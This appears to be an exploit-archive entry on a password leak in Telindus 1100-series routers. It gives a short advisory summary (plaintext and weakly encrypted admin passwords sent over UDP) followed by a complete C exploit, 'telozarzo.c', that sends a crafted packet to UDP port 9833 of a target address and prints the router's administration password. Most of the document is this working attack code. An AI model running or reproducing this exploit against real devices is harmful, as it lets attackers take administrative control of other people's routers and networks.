Telindus 1100 Series Router - Administration Password Leak

// source: https://www.securityfocus.com/bid/4946/info

The 1100 series routers are a broadband connectivity solution distributed by Telindus.

Under some circumstances, a vulnerable Telindus router may leak sensitive information. When an attempt to connect to the router is made using the administrative software, the router sends the password to the client in plain text. This packet is sent via UDP.

**The vendor has released firmware version 6.0.27, dated July 2002. Reports suggest that this firmware does not adequately protect against this vulnerability. The firmware is reported to use an encrypted UDP packet when connecting to the router. However, the firmware uses a weak encryption scheme and thus it is easily circumvented by an attacker. 

this is a really-stupid bad-written exploit for telindus router (10xx and
11xx series)
bye,
rubik@olografix.org

/* telozarzo.c */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/udp.h>
#include<arpa/inet.h>
#include<sys/time.h>
#include<string.h>
#include<stdio.h>
#include<signal.h>
#include<unistd.h>
#include<stdlib.h>

#define BUFFER_SIZE 300

struct sockaddr sa;
struct sockaddr sf;
struct sockaddr *from;
struct sockaddr_in *p, *d;
int len;
int fd;
int sent,recvd;
unsigned long start_ip;

char pass[32];
char str[10];
FILE *logfile;

struct timeval minutetimeout;
int TIMEOUT;

int numhost=0, numfound=0;
double per;

u_char data2recv[BUFFER_SIZE];
u_char data2sent[62]={
		0x19, 0x73, 0x04, 0x17, 0x73, 0x30, 0x00, 0x01,
		0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x02,
		0x01, 0x33, 0x01, 0x13, 0x01, 0x16, 0x04, 0x08,
		0x04, 0x15, 0x01, 0x0D, 0x01, 0x0E, 0x01, 0x14,
		0x40, 0x03, 0x40, 0x04, 0x01, 0x26, 0x01, 0x27,
		0x01, 0x28, 0x01, 0x30, 0x01, 0x44, 0x42, 0x05,
		0x42, 0x22, 0x04, 0x18, 0xFF, 0xFF, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00
		};

void func_alarm_telindus (int s) {
	close(fd);
	return;
}

void exitnow () {
	close(fd);
	exit(2);
}

int checktelindus (unsigned long ip) {

	int i=0;
	char *s;

	p=(struct sockaddr_in*)&sa;
	p->sin_family=AF_INET;
	p->sin_port=htons(9833);
	p->sin_addr.s_addr= htonl(ip);

	d=(struct sockaddr_in*)&sf;
	d->sin_family=AF_INET;
	d->sin_port=htons(9833);
	d->sin_addr.s_addr=INADDR_ANY;

	minutetimeout.tv_sec = TIMEOUT;
	minutetimeout.tv_usec = 0;

	bzero (data2recv, sizeof (data2recv));

	fd=socket(AF_INET,SOCK_DGRAM,0);

	bind (fd, (struct sockaddr*)d, sizeof (struct sockaddr));
	sent=sendto(fd,&data2sent,62,0,(struct sockaddr*)p,sizeof(struct sockaddr));

	signal(SIGALRM, func_alarm_telindus);
	alarm(TIMEOUT);

	if (recvfrom(fd,data2recv,BUFFER_SIZE,0,from,&len)<=0) {
		alarm(0);
		signal(SIGALRM,SIG_DFL);
		bzero (data2recv, sizeof (data2recv));
		return(-1);
	}

	s=data2recv;
	while (i<5) {
		while ((*(s++)) != '\0');  i++;
	}

	if (*s == '\0') {
		printf ("pw vuota\n");
	} else {
		strncpy (pass, ++s, strlen(s) -3 );
		printf ("pw: = %s \n", pass);
	}
	alarm(0);
	signal(SIGALRM,SIG_DFL);
	return (0);
}


void usage (char *cmd) {
	printf ("\n%s ip\n", cmd);
	exit(1);
}

int main(int argc, char *argv[]) {

	if (argc != 2) usage(argv[0]);
	start_ip=inet_addr(argv[1]);

	signal(SIGINT, exitnow);
	signal(SIGTERM, exitnow);
	signal(SIGKILL, exitnow);
	signal(SIGQUIT, exitnow);

	checktelindus (ntohl(start_ip));

	return (0);
}